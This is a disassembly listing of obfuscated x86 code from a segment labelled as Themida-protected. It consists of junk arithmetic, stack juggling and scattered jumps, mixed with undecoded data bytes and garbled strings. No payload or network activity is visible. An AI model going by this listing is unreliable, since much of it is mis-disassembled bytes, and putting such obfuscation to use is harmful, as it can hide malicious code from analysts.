loc_55BE37:				; CODE XREF: Themida_:0055DE86j
		push	edi
		mov	edi, 2CA63369h
		neg	edi
		sub	edi, 64825F4Eh
		xor	ecx, edi
		pop	edi
		mov	eax, ecx
		pop	ecx
		push	edi
		mov	edi, 4A1A62D1h
		sub	edi, 0E3D2F624h
		sub	eax, 55494FA9h
		sub	eax, edi
		add	eax, 55494FA9h
		mov	edi, [esp]
		add	esp, 4
		inc	eax
		xor	eax, 1772F031h
		jmp	loc_552947
; ---------------------------------------------------------------------------

loc_55BE74:				; CODE XREF: Themida_:00566EABj
		mov	[esp], esi
		mov	esi, 1B58439Dh
		and	esi, 145063B9h
		sub	esi, 10504395h
		add	edi, 734553BAh
		add	edi, 184D2220h
		add	edi, esi
		sub	edi, 184D2220h
		sub	edi, 734553BAh
		mov	esi, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	esp, 4
		movzx	ecx, ax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 0A6C5ED4h
		or	edi, 4E736983h
		jmp	loc_55D025
; ---------------------------------------------------------------------------

loc_55BED6:				; CODE XREF: Themida_:00564B90j
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_554A5D
; ---------------------------------------------------------------------------
		db 81h
		dd 50152E7h, 16F78167h,	1060000h, 5D75E9F9h, 0C7810000h
		dd 7D9716B2h, 0EF81EF29h, 7D9716B2h, 4506E9h
		db 0
; ---------------------------------------------------------------------------

loc_55BF09:				; CODE XREF: Themida_:005650DFj
		xor	eax, 4E6E005Dh
		xor	eax, 4889249Ah
		not	eax
		inc	eax
		xor	eax, 8F169BB0h
		mov	ebp, eax
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5615B5
; ---------------------------------------------------------------------------

loc_55BF31:				; CODE XREF: Themida_:00555C09j
		pop	ebx
		add	ecx, 0B1CD90D3h
		mov	ebx, ecx
		jmp	loc_5599D3
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0C8AB6BACh, 815BDE89h, 575655EAh, 81F2293Fh,	575655C2h
		dd 2434FF3Fh, 718E9h, 2C48300h,	0E9ABC680h, 0FFFFD61Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_555970
; ---------------------------------------------------------------------------
		db 0BFh, 5Ch, 54h
		dd 0C14705AAh, 575603EFh, 94D11BFh, 4D10BE60h, 0C6816009h
		dd 3F7E2D52h, 98E9FE29h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BF9B:				; CODE XREF: Themida_:0055F308j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 54h, 68h
		dd 0EC81FFFFh, 4, 83242489h, 5E042404h,	455CB850h, 0B9E94FCFh
		dd 80FFFFCEh, 0CB801ECBh, 3E3C07Eh, 0E9BFC380h,	0FFFFCDCDh
		dd 0CA1A7568h, 93EFE94Fh, 248BFFFFh, 0DC12E924h, 0BE56FFFFh
		dd 65B11682h, 754EC781h, 0F7017018h, 754EEF81h,	348B7018h
		dd 0E1895124h, 4C181h, 3BE90000h, 89FFFFE5h, 4C181E1h
		dd 0E9000000h, 0FFFF8322h, 74FDE952h, 0E2880000h, 8324048Bh
		dd 492C04C4h, 0B268D000h, 0E900007Eh, 0FFFFC748h
; ---------------------------------------------------------------------------

loc_55C034:				; CODE XREF: Themida_:0056097Dj
		push	edi
		jmp	loc_562E6D
; ---------------------------------------------------------------------------

loc_55C03A:				; CODE XREF: Themida_:00566F2Bj
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5648C5
; ---------------------------------------------------------------------------

loc_55C04F:				; CODE XREF: Themida_:00566487j
		add	ecx, 5C663FD8h
		jmp	loc_55D0C7
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 241C8704h, 0E289525Ch, 4C281h, 0B9510000h, 4, 51E9CA29h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C077:				; CODE XREF: Themida_:0055DC84j
		pop	ecx
		sub	ebx, 26782EF5h
		jmp	loc_556320
; ---------------------------------------------------------------------------
		db 0B9h
		dd 2ED72AC1h, 121DC581h, 0CD295371h, 121DED81h,	0C8B5371h
		dd 4C48324h, 0C581F501h, 2ED72AC1h, 116FE9h, 240C3300h
		dd 6293E95Ch, 28BD0000h, 0C15A1109h, 814D08EDh,	0AA2587CDh
		dd 8BF58101h, 101FA35h,	0BE565DEAh, 4, 335EF229h, 14312414h
		dd 0BA49E924h, 0C6810000h, 4, 8704EE83h, 895C2434h, 1D682434h
		dd 54000001h, 5024048Fh, 4EC81h, 34890000h, 2CA3E924h
		dd 0C7290000h, 0E924048Bh, 0A167h
; ---------------------------------------------------------------------------

loc_55C110:				; CODE XREF: Themida_:00564EACj
		mov	eax, 4A851EBh
		xor	eax, 4A851EFh
		push	eax
		pop	ecx
		jmp	loc_5563A9
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 0D9h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C127:				; CODE XREF: Themida_:0055A525j
		add	ebp, edx
		pop	edx
		or	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 35E54C7h
		jmp	loc_558AE5
; ---------------------------------------------------------------------------

loc_55C142:				; CODE XREF: Themida_:0055E6C0j
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55C3DA
; ---------------------------------------------------------------------------
		dw 0ABE9h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C153:				; CODE XREF: Themida_:0055D5F7j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_55D7B6
; ---------------------------------------------------------------------------
		db 31h
		dd 14332414h, 24248B24h, 0FF2434FFh, 0E9582434h, 0FFFFAE04h
		dd 24AAE940h, 0F2680000h, 89000075h, 0CDBF243Ch, 0E96BC41Ah
		dd 0FFFF96B5h, 0BF243C89h, 4, 44D6E951h, 0E9480000h, 706Dh
		dd 861EA80h, 12C5AD0h, 0C230DF2Ch, 8BD02858h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55CF3C
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0B8240489h, 45C67838h, 353EE9h, 5AD72900h, 5C243C87h
		dd 54241489h, 4C2815Ah,	51000000h, 240C8B54h, 8104C483h
		dd 4C1h, 4E98100h, 33000000h, 0C31240Ch, 240C3324h, 242C895Ch
		dd 268h, 0EA815D00h, 7C603E4Ah,	779AC281h, 0EA012A0Ch
		dd 779AEA81h, 0C2812A0Ch, 7C603E4Ah, 2414875Dh,	0FF8E26E9h
		dd 0C3015CFFh, 56EFEB81h, 16849B7h, 89000029h, 0BF57241Ch
		dd 0C1B1B63h, 728EE781h, 81475A0Fh, 0FB90FEFh, 5FFB8991h
		dd 2540E9h, 58E58800h, 4BE368h,	241C8900h, 0ED80B6B7h
		dd 80FD28D2h, 1C8BD2C5h, 0E6895624h, 4CC3BD55h,	0EDC15A4Fh
		dd 0ED814507h, 1DFA24C7h, 8102EDC1h, 0AE9E70F5h, 5DEE0138h
		dd 4C681h, 34870000h, 0E8305C24h, 0FFDAC5E9h, 4C481FFh
		dd 53000000h, 5B2414F7h, 4363E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C2B2:				; CODE XREF: Themida_:00553634j
		push	ebp
		mov	ebp, 67E0729Ah
		sub	ecx, ebp
		pop	ebp
		add	ecx, 2BBAD738h
		xor	eax, ecx
		pop	ecx
		add	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		add	ebx, 13F02260h
		add	ebx, ecx
		jmp	loc_55B488
; ---------------------------------------------------------------------------
		dw 2C31h
		dd 0F283E924h, 0BB53FFFFh, 3B38559Dh, 70E9DD21h, 81000047h
		dd 185A55F1h, 25BD5568h, 0E9637F2Bh, 0FFFF79F3h, 51E903B4h
		dd 33000076h, 2FE9243Ch, 87FFFFDCh, 895C242Ch, 0FBBF243Ch
		dd 81124857h, 0A7533EE7h, 5347473Eh, 0A93F63BBh, 0B1C38114h
		dd 8117FE4Bh, 1F614ECBh, 0CB814370h, 41BB5FF0h,	4DD1E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C341:				; CODE XREF: Themida_:005529B1j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_560F5A
; ---------------------------------------------------------------------------

loc_55C356:				; CODE XREF: Themida_:00562629j
		mov	[esp], eax
		jmp	loc_553C9D
; ---------------------------------------------------------------------------

loc_55C35E:				; CODE XREF: Themida_:00554799j
		push	80h
		push	dword ptr [esp]
		jmp	loc_5573A9
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF648Eh, 3C8BF901h, 4C48124h, 68000000h, 41DEh, 0E9240C89h
		dd 0FFFFD122h
; ---------------------------------------------------------------------------

loc_55C388:				; CODE XREF: Themida_:00567939j
		add	esp, 4
		push	edx
		mov	edx, 4
		sub	esi, edx
		pop	edx
		jmp	loc_566939
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 84h
		dd 0C13F7173h, 682D02E8h, 2D01C92Eh, 0C1A622F6h, 8158C589h
		dd 0BC191ECDh, 78685713h, 89000018h, 43BD242Ch,	89303D29h
		dd 18E95DEFh, 83FFFFF8h, 0BE5601C5h, 274805A4h,	0A085E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C3DA:				; CODE XREF: Themida_:0055C149j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_562E43
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 0E9h
		dd 0FEAh, 31243433h, 34332434h,	1C895C24h, 815B5424h, 4C3h
		dd 57555000h, 1572B468h, 0EFB0E917h, 0F181FFFFh, 0F59B9677h
		dd 8159CD29h, 0C019DAC5h, 0EDD15B53h, 0EDC1DDF7h, 58545004h
		dd 405h, 42D00h, 4870000h, 34895C24h, 0D6EBE24h, 0F5310E52h
		dd 0E9E9095Eh, 0FFFFCB0Dh, 68240C89h, 6920584Bh, 592434FFh
		dd 4C481h, 0E9810000h, 504574BEh, 3E1C149h, 3213BB53h
		dd 84E9535Dh, 10000AFh,	7133E9D3h, 77E90000h, 5DFFFF63h
		dd 889DE9h, 74FF5700h, 37E90424h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C497:				; CODE XREF: Themida_:00566136j
		push	ebx
		jmp	loc_56136F
; ---------------------------------------------------------------------------

loc_55C49D:				; CODE XREF: Themida_:005633EEj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5598E3
; ---------------------------------------------------------------------------

loc_55C4A9:				; CODE XREF: Themida_:00560265j
		add	ebp, 0AE2CEAB8h
		mov	ebx, ebp
		pop	ebp
		xor	ebx, 97D2CA4h
		jmp	loc_55D91C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aWicvh		db '$W‰çVh<|',0
		align 2
		dw 1C89h
		dd 9A1DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C4D2:				; CODE XREF: Themida_:00561597j
		dec	edi
		push	esi
		jmp	loc_56735D
; ---------------------------------------------------------------------------

loc_55C4D9:				; CODE XREF: Themida_:0055D9B2j
		add	esp, 4
		add	esp, 4
		push	575Fh
		mov	[esp], ebx
		push	esp
		jmp	loc_5564EA
; ---------------------------------------------------------------------------
aVhN		db 'Vh{n',0
		dw 8900h
		dd 13E9242Ch, 8BFFFF97h, 0F9E92424h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C503:				; CODE XREF: Themida_:0056158Aj
		pop	edi
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 8
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, edi
		jmp	loc_55BDD2
; ---------------------------------------------------------------------------
		dw 5558h
		dd 583294BDh, 0EFF5812Ch, 1E87C22h, 0CB295DE9h,	0EABA5259h
		dd 81612178h, 1C6589CAh, 0F2814A37h, 9FD03C92h,	671BE9h
		dd 7574BE00h, 0C6812BA4h, 54592521h, 348BF331h,	4C48124h
		dd 53000000h, 52242C8Bh, 0C281E289h, 4,	0FFAED3E9h, 4BD55FFh
		dd 81000000h, 5264D1EEh, 81EE0157h, 5264D1C6h, 7A1DE957h
		dd 0ED810000h, 4D06DA7h, 771BC581h, 0E8016AC0h,	240C8B5Dh
		dd 45DAE957h, 0C3680000h, 89000072h, 5A5B2414h,	0D387DAF7h
		dd 2FE7EB81h, 9705A39Ah, 10D3805h, 404EE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C5EA:				; CODE XREF: Themida_:0056770Aj
		push	eax
		mov	eax, 699A5ADEh
		push	esi
		mov	esi, 2A977EA8h
		not	esi
		not	esi
		jmp	loc_56551D
; ---------------------------------------------------------------------------
		db 58h
		dd 0E99AB252h, 170Dh, 0E95BDA00h, 6AB1h, 81240401h, 33572404h
		dd 0B8502A16h, 7B396F02h, 0FFAB78E9h, 242C81FFh, 5B900C5Ah
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55668B
; ---------------------------------------------------------------------------
		db 50h,	51h, 0E9h
		dd 0FFFF69AAh, 3E8E68h,	24348900h, 7676DABEh, 8BF0212Fh
		dd 0C4832434h, 12D04h, 0F7350000h, 29713D3Bh, 24048BC3h
		dd 722FE9h, 0E3895300h,	0FF6FC4E9h, 89515EFFh, 4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 5E2C15Ch, 0EA81D2F7h, 173D8DFBh
		dd 37C3E9h, 5F956800h, 14890000h, 241C8B24h, 4C481h, 98E90000h
		dd 2DFFFFE2h, 261E0161h, 45D5BD55h, 875572E9h, 0D5F7242Ch
		dd 5D242C87h, 77F168h, 242C8900h, 87243C87h, 87D5F7EFh
		dd 7DFFE9EFh, 8B660000h, 0EC812404h, 4,	0E9243489h, 0C3Eh
; ---------------------------------------------------------------------------

loc_55C6EC:				; CODE XREF: Themida_:00554DA2j
		add	esp, 4
		jmp	loc_557702
; ---------------------------------------------------------------------------
		db 66h
		dd 5324048Bh, 241C8B54h, 0E904C483h, 9F0h, 31243C33h, 3C33243Ch
		dd 0E9F65C24h, 0CCB60F66h, 8C2DE9h, 59CE2900h, 0A0F68146h
		dd 5F0A4D2h, 79560734h,	342DF029h, 5E795607h, 5551E801h
		dd 935CA868h, 0D5F75D33h, 2AC6CD81h, 0D5E9487Fh
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C74B:				; CODE XREF: Themida_:00555E02j
		xor	edx, ecx
		xor	ecx, edx
		xor	edx, ecx
		xor	[esp], edx
		jmp	loc_559ECD
; ---------------------------------------------------------------------------
		db 1, 0F2h, 0E9h
		dd 398Ch
; ---------------------------------------------------------------------------

loc_55C760:				; CODE XREF: Themida_:00552D2Cj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	eax
		mov	eax, 177E378Ch
		add	eax, 6F0D7F8Eh
		dec	eax
		sub	eax, 868BB715h
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edi
		push	62741764h
		pop	edi
		jmp	loc_5601C7
; ---------------------------------------------------------------------------
aIxssc		db '‰åé‘C',0
		dw 5900h
		dd 0FFC281E9h, 89C589FFh, 0FE95DE9h, 8B00009Ah,	0C4812404h
		dd 4, 9E647935h, 4EC8171h, 89000000h, 22E9240Ch
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C7CB:				; CODE XREF: Themida_:0055A4C9j
		push	ebp
		jmp	loc_55883D
; ---------------------------------------------------------------------------
		db 1, 0C2h, 81h
		dd 853864C2h, 0F8BD553Dh, 811B5202h, 0ED5914F5h, 5E5C14Fh
		dd 0ED81D5F7h, 0BDE2F20h, 0DE9EA29h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C7F7:				; CODE XREF: Themida_:00555E26j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_552B2F
; ---------------------------------------------------------------------------

loc_55C80B:				; CODE XREF: Themida_:0055E92Dj
		push	eax
		mov	eax, 7DED3BE1h
		add	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	78C7h
		mov	[esp], edx
		push	5ED41C7Fh
		pop	edx
		push	ecx
		mov	ecx, 19E06FE2h
		sub	ecx, 3B5F5880h
		dec	ecx
		push	1782h
		mov	[esp], edx
		mov	edx, 4164B3Dh
		jmp	loc_553361
; ---------------------------------------------------------------------------

loc_55C84A:				; CODE XREF: Themida_:0055A76Dj
		mov	[esp], ecx
		push	432Ah
		push	1115h
		push	esp
		jmp	loc_56786D
; ---------------------------------------------------------------------------
		db 0BFh, 7Dh, 17h
		dd 0FE29DF23h, 0E9F0315Fh, 77BEh, 0EE805B66h, 5AF5887Ah
		dd 0C8BE830h, 4EC8324h,	89241C89h, 8605E9E3h, 5A660000h
		dd 24148B66h, 6F02E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C891:				; CODE XREF: Themida_:00567BE3j
		pop	ebp
		add	esp, 4
		jmp	loc_556851
; ---------------------------------------------------------------------------
		dw 0E983h
		dd 240C8704h, 0FFA3CAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C8A5:				; CODE XREF: Themida_:0056611Cj
		mov	eax, 721C60B9h
		not	eax
		add	eax, 9AE6351h
		inc	eax
		dec	eax
		xor	eax, 0DC1D6745h
		mov	edx, eax
		pop	eax
		push	eax
		mov	eax, 198DE9D1h
		sub	edx, eax
		pop	eax
		not	edx
		shr	edx, 2
		xchg	ecx, edx
		not	ecx
		jmp	loc_5665CF
; ---------------------------------------------------------------------------
		dw 1489h
		dd 59FDBA24h, 0B5E92EB5h, 0B7FFFFACh, 0E9CFFE78h, 8BFDh
; ---------------------------------------------------------------------------

loc_55C8E8:				; CODE XREF: Themida_:0055947Dj
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_564398
; ---------------------------------------------------------------------------
		dd 24048966h, 3B3F68h, 241C8900h, 45B15152h, 0CE0063B6h
		dd 0FFCBDBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C911:				; CODE XREF: Themida_:005677F8j
		mov	[esp], ecx
		mov	ecx, 0B4B7EDCh
		xor	ecx, 29D24D9Ah
		or	ecx, 2D707C8Eh
		jmp	loc_55F751
; ---------------------------------------------------------------------------
aSX5esJ		db 'S»',0Ah
		db 'x5eéÚJ',0
		dd 4C48100h, 0E9000000h, 163Eh,	782DD829h, 5537AA0Bh, 776B99BDh
		dd 420F055Ah, 0E82958E0h, 0E0420F2Dh, 242C8B58h, 0E9E38953h
		dd 5414h, 4E5BBE56h, 0F7967654h, 0C68196D0h, 1FDF228Bh
		dd 6852504Eh, 5AF1337Ch, 0FFD927E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C981:				; CODE XREF: Themida_:00565F32j
		add	ebp, ecx
		add	ebp, 42342205h
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	edx, 1F4B23FFh
		mov	esi, edx
		pop	edx
		and	ecx, esi
		jmp	loc_5637E8
; ---------------------------------------------------------------------------

loc_55C9A0:				; CODE XREF: Themida_:005679D3j
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55E964
; ---------------------------------------------------------------------------
		align 10h
		dd 9BC380E3h, 240C8B58h, 2804C483h, 2EB652C3h, 0D6F6CEFEh
		dd 39B55150h, 3059E888h, 2E958C6h, 89FFFF88h, 22E92434h
		dd 890000A0h, 0E389241Ch, 0E3E7E955h, 481FFFFh,	424h, 2434FF00h
		dd 4389685Bh, 2C890000h, 68E58924h, 7D67h, 53240489h, 0FFF22DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CA29:				; CODE XREF: Themida_:005582B2j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp

loc_55CA36:				; CODE XREF: Themida_:0055EB71j
		push	ebx
		jmp	loc_5561BB
; ---------------------------------------------------------------------------

loc_55CA3C:				; CODE XREF: Themida_:00558C07j
		push	dword ptr [esp+4]
		jmp	loc_55E2DF
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 68241489h, 7060h, 51242489h,	4B9h, 244C0100h, 2434FF04h
		dd 0E2895259h, 4C281h, 0C2830000h, 801DE904h, 0F681FFFFh
		dd 0B0D5EDCh, 590B68h, 243C8900h, 1B58BB53h, 0DFE9327Fh
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55CA8B:				; CODE XREF: Themida_:005529FBj
		add	ebp, 3FEE5547h
		pop	edi
		jmp	loc_565128
; ---------------------------------------------------------------------------
		db 0ADh
		dd 5173BD55h, 0B85049C9h, 281F0987h, 0E958C509h, 39F3h
; ---------------------------------------------------------------------------

loc_55CAAC:				; CODE XREF: Themida_:0056335Fj
		push	edi
		jmp	loc_5647D9
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 1F3Fh, 4BA525Eh, 1000000h, 0E9535AD6h, 6874h, 0C681E689h
		dd 4, 0E904C683h, 4549h
; ---------------------------------------------------------------------------

loc_55CAD8:				; CODE XREF: Themida_:0055DD3Fj
		dec	ecx
		push	5400h
		jmp	loc_561332
; ---------------------------------------------------------------------------

loc_55CAE3:				; CODE XREF: Themida_:0055E1AAj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ch, dl
		jmp	loc_55B82E
; ---------------------------------------------------------------------------
		db 55h
		dd 0FF6E7EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CAF9:				; CODE XREF: Themida_:0055F76Ej
		mov	ebx, 507979F8h
		xchg	eax, ebx
		not	eax
		push	ebx
		push	eax
		pop	ebx
		jmp	loc_55EB28
; ---------------------------------------------------------------------------

loc_55CB09:				; CODE XREF: Themida_:005619CDj
		shr	ecx, 6
		jmp	loc_55D250
; ---------------------------------------------------------------------------
aLS0s		db '‹<$é0™',0
		db 0
; ---------------------------------------------------------------------------

loc_55CB19:				; CODE XREF: Themida_:0056211Bj
		mov	esi, 3AC4549Bh
		neg	esi
		and	esi, 9675108h
		xor	esi, 6CA7789Eh
		jmp	loc_5606FF
; ---------------------------------------------------------------------------

loc_55CB31:				; CODE XREF: Themida_:005580DBj
		dec	ecx
		sub	ecx, 57546286h
		jmp	loc_567567
; ---------------------------------------------------------------------------
		db 1, 0C7h, 8Bh
		dd 0EBE92404h, 890000A0h, 405E0h, 0B9510000h, 61373C21h
		dd 6849h, 2C810000h, 1F357124h,	240C2947h, 71240481h, 59471F35h
		dd 3C24C181h, 0C8016137h, 24048759h, 4C4835Ch, 8E77E9h
		dd 83C53100h, 48904ECh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_563A0F
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 29AD96D5h, 48759C8h,	1C895C24h, 0BA525624h, 2, 89D08950h
		dd 76E958C6h, 0C1FFFF9Ch, 10E906EDh
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CBBB:				; CODE XREF: Themida_:0055342Fj
		push	ebx
		pop	eax
		pop	ebx
		jmp	loc_553A5E
; ---------------------------------------------------------------------------

loc_55CBC3:				; CODE XREF: Themida_:00554809j
		mov	edi, 0B9EFBE35h
		push	eax
		mov	eax, 658B0C18h
		neg	eax
		jmp	loc_5635E9
; ---------------------------------------------------------------------------

loc_55CBD5:				; CODE XREF: Themida_:00562318j
		jmp	loc_5527FE
; ---------------------------------------------------------------------------
aXhA		db 'Xh¿a',0
		align 10h
aIS@		db '‰,$éÇ@',0
		align 4
		dd 9C242CD3h, 0FF5C0DE9h, 5AD501FFh, 7075E9h, 0DEF74E00h
		dd 0FF8C6BE9h, 241487FFh, 1C36E95Ch, 0FF530000h, 0E95D2434h
		dd 1B15h, 0C2815A54h, 4, 3304C283h, 14312414h, 0AC57E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55CC2A:				; CODE XREF: Themida_:00560D70j
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5677B5
; ---------------------------------------------------------------------------

loc_55CC3D:				; CODE XREF: Themida_:0055609Fj
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	2D54h
		mov	[esp], ebp
		push	3130h
		mov	[esp], esi
		mov	esi, 1
		mov	ebp, esi
		pop	esi
		push	ebp
		push	eax
		mov	eax, 1E076A24h
		sub	eax, 0C86DF9CFh
		dec	eax
		jmp	loc_55B479
; ---------------------------------------------------------------------------
		db 66h
		dd 3166D631h, 0B1E4E9F2h, 248BFFFFh, 8A32E924h,	2C890000h
		dd 81E58924h, 4C5h, 4C58100h, 87000000h, 0E95C242Ch, 0FFFF5B5Ah
		dd 0E956FB01h, 0FFFF7122h, 5324248Bh, 8C6BD55h,	0EB895942h
		dd 42BA525Dh, 0E9490731h, 0FFFFD223h, 9668E689h, 89000053h
		dd 0FBE92404h, 9000007h, 9DE95BD8h, 0BBFFFFF4h,	6FFA2B98h
		dd 8EE9D889h, 5EFFFFD9h, 4C181h, 0C330000h, 240C3124h
		dd 0E9240C33h, 0FFFFEB57h, 4EC81h, 1C890000h, 2E636824h
		dd 14890000h, 0E9E28924h, 3EB7h
; ---------------------------------------------------------------------------

loc_55CD14:				; CODE XREF: Themida_:00559C80j
		push	ecx
		mov	ecx, 4A7B7970h
		sub	edi, ecx
		pop	ecx
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_566EEE
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h,	0D71DE924h
		dd 0BF68FFFFh, 5400002Dh, 0E924048Fh, 7C8Eh, 0D4F6FC88h
		dd 5866E788h, 0FF8DBFE9h, 1C2868FFh, 0D0E90000h, 81000088h
		dd 4C4h, 53D82900h, 6CE8B951h, 82BB7BD3h, 299211B3h, 3C46E9CBh
		dd 1F680000h, 89000060h, 78E92414h, 570000ACh, 947F0268h
		dd 0F367E912h, 0F101FFFFh, 9425E9h
		db 0
; ---------------------------------------------------------------------------

loc_55CDC1:				; CODE XREF: Themida_:00564106j
		push	ecx
		mov	ch, dl
		push	ebx
		mov	bh, ch
		jmp	loc_566127
; ---------------------------------------------------------------------------
		dd 4C681h, 0C6E90000h, 8000002Dh, 536603C6h, 4A73E9h
		db 0
; ---------------------------------------------------------------------------

loc_55CDE1:				; CODE XREF: Themida_:005608F9j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		jmp	loc_55406B
; ---------------------------------------------------------------------------
		dw 5A5Bh
		dd 2E1EBD55h, 0E5C17C30h, 3C95E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55CE06:				; CODE XREF: Themida_:0056393Aj
		xor	[esp], ax
		pushf
		jmp	loc_5527FE
; ---------------------------------------------------------------------------
		dd 0FF59E9E9h, 1BF57FFh, 89000000h, 4FE95FF9h, 66FFFFDCh
		dd 57240C8Bh, 55505F54h, 0AB138768h, 0EC835D4Dh, 240C8904h
		dd 505BE956h, 0E3890000h, 46851h, 1590000h, 493BE9CBh
		dd 2C890000h, 83E58924h, 48904ECh, 4B824h, 0C5010000h
		dd 6824048Bh, 6CABh, 89240489h,	405E0h,	33E90000h, 56FFFFA1h
		dd 0C681E689h, 4, 1D9CE9h, 4EC8300h, 936AE9h, 241C8B00h
		dd 0FF9E05E9h, 4FE2CFFh, 0A9B353AEh, 8052EB80h,	0F380E4EBh
		dd 548BE9E6h, 0C3810000h, 4, 8B241C87h,	24D32424h, 5940E924h
		dd 0F653FFFFh, 5B012454h, 0EF80C7FEh, 0B266E9E5h, 5F21FFFFh
		dd 241C8B1Ch, 0A13EE9h
		db 0
; ---------------------------------------------------------------------------

loc_55CED9:				; CODE XREF: Themida_:005546EEj
		shr	ebp, 4
		push	ecx
		jmp	loc_555ED1
; ---------------------------------------------------------------------------
		dw 0D701h
		dd 53C6815Ah, 1076045h,	53EE81FEh, 8B076045h, 0D7E9243Ch
		dd 5500001Bh, 83240C8Bh, 0A7E904C4h, 5FFFF8Eh, 6AE3745Eh
